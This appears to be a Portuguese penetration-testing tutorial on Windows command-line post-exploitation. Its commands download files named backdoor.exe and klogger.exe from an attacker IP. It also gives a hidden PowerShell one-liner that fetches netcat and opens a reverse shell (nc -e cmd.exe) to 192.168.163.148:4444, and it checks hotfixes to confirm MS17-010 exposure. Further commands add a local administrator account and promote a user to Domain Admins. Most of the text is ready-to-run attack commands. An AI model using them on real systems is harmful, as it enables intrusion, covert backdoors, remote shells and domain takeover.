Windows com linha de comando

Muitas vezes em um teste de invasão, após ter sucesso na exploração de um computador que esteja rodando o sistema Windows, vamos ter apenas uma Shell interativa para fazer a verificação e continuar com a exploração, por isso é importante conseguir dominar bem essa questão, abaixo vou mostrar alguns comandos úteis quando temos apenas a possibilidade de ter o Prompt ou o Powershell do Windows.

O Windows não vem com o Wget instalado por padrão, para resolver esse problema e fazer download de arquivos externos podemos usar alguns comandos, segue abaixo:

bitsadmin /transfer n http://192.168.163.148/backdoor.exe C:\backdoor.exe

O comando acima vai fazer download do arquivos que está em 192.168.163.148 e salva-lo em C:\backdoor.exe.

Invoke-WebRequest -OutFile backdoor.exe http://192.168.163.148/klogger.exe

O comando Invoke-WebRequest é do Powershell e também é usado para fazer download de arquivos externos, ele vai salvar o arquivo baixado no mesmo local que ele foi chamado, a não ser que isso seja modifcado em -OutFile.

Invoke-WebRequest -Uri http://192.168.163.148 -UserAgent ShellZenBOT

Uma outra opção para o Invoke-WebRequest seria apenas para fazer um acesso, como um Ping, onde é possível customizar o UserAgent também.

Start-BitsTransfer http://192.168.163.148/backdoor.exe c:\backdoor.exe

Start-BitsTransfer é uma versão melhorada do Bitsadmin que em breve deve ser descontinuado nas versões do Windows, esse comando é Powershell.

E se você quiser fazer download de um arquivo e já executado? Para isso podemos usar o Powershell também, no exemplo abaixo estou fazendo download do Netcat e depois executando ele com o parâmetro “-e cmd.exe”, ou seja, estou entregando uma Shell remota para um outro computador.

O parametro “windowstyle hidden” não vai mostrar nada para o usuário desktop, o “ponto e vírgula” separa os comandos assim como acontece em um sistema Linux.

powershell -windowstyle hidden Invoke-WebRequest -OutFile C:\Windows\Temp\nc.exe http://192.168.163.148/nc.exe; C:\Windows\Temp\nc.exe 192.168.163.148 4444 -e cmd.exe

Também é possível verificar quais Paths estão instalados no Windows, o Metasploit tem módulos para verificar isso e até fazer sugestão de quais exploits teriam mais efetividade no alvo, mas também conseguimos essa informação usando comandos.

wmic qfe get Caption,Description, HotFixID,InstalledOn (prompt)
ou 
wmic qfe list (prompt)
ou 
wmic qfe get hotfixid (prompt)

Os três comandos acima vão informar quais Paths de update estão instalados no computador.

Podemos também buscar um Path específico, talvez um que faça a correção de uma vulnerabilidade, como a MS17-010 por exemplo, verificando que ele não existe teremos certeza que o alvo está vulnerável.

wmic qfe get hotfixid | find "KB4015549"

O Powershell também tem comandos para isso, segue alguns abaixo.

Get-HotFix 
ou
get-hotfix -id KB1234567

Para buscar arquivos ou qualquer coisa dentro de um sistema, no Linux temos o comando “Find”, no Windows temos o comando “where”.

where /f /t *.exe | find "calc"

Podemos buscar qualquer tipo de arquivo, TXT, Word etc.

O gerênciamento de usuários também pode ser feito usando linha de comando, segue abaixo alguns exemplos. A sintaxe do comando é: net user <usuário> <senha> /add.

net user ozzy crazytrain /add

O comando acima é para inserir um usuário no sistema.

Para adicionar um usuário como administrador local no sistema.

net localgroup Administrators ozzy /add

Para desativar um usuário.

net user ozzy /active no

Para deletar um usuário.

net user ozzy /delete

Para adicionar um usuário no domínio também.

net user bill ratsalad /add /domain

Alterando os privilégios do usuário, nesse caso, passando o usuário Bill para Domain Admin.

net group "Domain Admins" bill /add /domain

Para alterar a senha de um usuário.

net user bill senhanova123

É possível também instalar Features por linha de comando, por exemplo, instalar um FTP, um Servidor Web etc.

dism /online /get-features /Format:table

O comando acima vai fazer uma listagem de todas as features, instaladas ou não e fazer sua saída em formato de tabela.

Para instalar o IIS (Web server) por exemplo, utilize o comando abaixo.

dism /online /Enable-feature /FeatureName:IIS-WebServer

Temos um erro acima, o motivo é que o IIS tem dependencias que precisam ser instaladas também, o próprio erro acima nos indica que devemos usar o parametro “all” para que esse problema seja corrigido.

dism /online /Enable-feature /all /FeatureName:IIS-WebServer